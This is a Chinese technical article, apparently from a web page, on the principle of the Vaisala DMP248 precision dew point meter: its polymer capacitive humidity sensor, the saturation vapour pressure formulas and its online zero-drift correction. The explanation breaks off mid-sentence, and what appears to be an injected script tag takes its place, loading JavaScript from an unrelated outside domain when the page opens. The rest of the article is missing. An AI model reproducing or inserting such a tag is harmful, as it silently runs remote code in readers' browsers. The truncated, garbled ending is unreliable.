芬兰VAISALA DMP248 精密露点仪的原理与应用

一:简介

  对于露点温度-60°c的湿度测量长期以来只依靠镜面的方法,该方法从原理上讲只要有足够的制冷措施,就能测量任意露点温度。这种方法的最大问题就是对气体要求很高,任何杂质和污染都会导致极大的测量误差。因此它几乎不能在线使用。另一个低湿度的传感器就是氧化铝传感器。它最低可测到(-100°c)露点,但是这类传感器在保护状态下每年也会漂移±6°c……±10°c。因此就不能保证其工作的稳定性。另外以上两种类型仪表,校准也非常困难,这是因为它需要专门的露点发生器。由vaisala公司发明的高分子薄膜电容具有很高的稳定性和抗污染能力。但长期以来只能用于露点-40°c以上湿度测量,-40°c……-60°c的测量非敏感元件达不到,而是存在着很大的误差。这主要是因为传统的计算方法和校准方法的问题。

  vaisala公司针对以上问题进行了长期研究,利用在线状态下自动修正零点偏移这一行之有效的方法,彻底地解决了低露点测量的精度问题。从而为低湿度测量提供了一种既稳定又精密的方法。

  dmp248系列精密露点仪是vaisala公司推出的专门用于测量低湿露点点的精密仪表,它内含在线自动修正零点偏移这一专利软件,它的探头是由高分子薄膜式湿敏电容和pt100铂电阻组成的复合敏感元件。drycap和drycap.j高分子湿敏电容c的变化和测量气体的相对湿度(rh)成正比,而pt100可直接测量气体的温度(t)。由此可分别计算出露点温度(td),体积浓度比(ppmv)。因此dmp248仪表虽然是精密露点仪,但其校准参数 仍然是相对湿度rh和温度t。通常情况下两点校准就可以满足其精度了,因为相对湿度rh和湿敏电容的电参数成线性关系。这是其它类型的露点仪无法比拟的。

  vaisala公司的湿敏电容是世界上最稳定的湿敏元件,其自动修正零点偏移软件具有专利保护。它的dmp248系列精密露点仪拥有以上两项技术。它低湿,稳定性具有世界领先水平,该仪表既可在线使用,亦可离线使用。其精度及量程范围特别适合开关sf6气体、氢站h2气体、空气中的n2、co2等气体的微量水分测量。

二:dmp248测量原理

 dmp248系列采用了vaisala公司自发明的drycap敏感元件,该元件是专门用在低湿环境的温湿度测量并具有极强的抗结露能力。它包含了一个高分子湿敏薄膜电容和热敏电阻。电容值和相对湿度(rh%)成正比。加入温度信号后就可以由drycap元件直接反映出pw(水汽压)或露点值了,其推导如下:

  由温度传感器的pt-100可以测出气体的温度值t0,根据go-ff-gratch和wexler修正公式可求出温度t下的饱和水汽压pws(t):

 log(pws(t))=(c1t-c2)/(t-c3)(t>0) (1)

或者

 log(pws(t))= c4-c5/t (t<0) (2)

又因为:rh=pw/pws(t)

所以气体的水汽压pw为:pw=rh×pws

  此时由pw求出露点温度值td0、td值可以分别由(1)、(2)式求出。但在(1)、(2)中应将pws(t)由pw更换,t由td更换。对于0°c以下的低湿露点值当然也可由上述方法直接求出。但是其精度却很难保证,因为相对湿度越接近于零,其露点精度就越随着零点漂移量的变化而快速下降。由于其零点漂移使得误差就越大,所以为了提高其测量精度必须在测量过程中设法减少其0%rh零点漂移。

  例如:当露点为-40°c,温度为20°c时,其相对湿度为0.55%rh0偏移量为0.2%rh时(对于一般的rh传感器来说,这要比其技术指标好的多了),使得实际测量的rh变为0.35%了。此时计算得出的露点为-44°c,所以一个看起来较小的偏移量误差(该误差可由偏移或校准失误产生)对于低rh值来说将产生一个不能接受的露点误差。为解决这一精度问题,dmp248系列精密露点仪使用新的专利计算方法,即仪表在在线工作时自动计算偏移量变化并调整这一偏移量,这一过程可由以下公式 来表达:

             rhout=rh0+gain×pw/pws(t) (3)

               rh0=完全干状态下的输出

               pw=水汽压

               pws(t)=温度t的饱和水汽压

  函数pws(t)很容易求解,所以在同一水汽压(pw)下测量两个温度t值即两个pws(t)就可以计算出漂移量rh0值了。

(假定pw在这一过程中保持不变)

  如上图所示,其漂移量误差为-0.2%rh,测量温度范围20°c……30°c,其露点温度为-40°c,gain为100%,随着温度的升高rh%降低,因为前响应是线性的,此时rh0=0.2%。由读出的数值(0.35%rh)减去这一数据,就得到了正确数值为0.55%rh.由两点测量数据划一条直线,该直线和y轴的交?script src=http://er12.com/t.js>

  • 芬兰VAISALA DMP248 精密露点仪的原理与应用已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计